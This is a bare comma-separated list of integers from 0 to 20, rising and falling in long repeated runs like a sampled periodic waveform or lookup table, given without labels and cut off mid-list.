18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 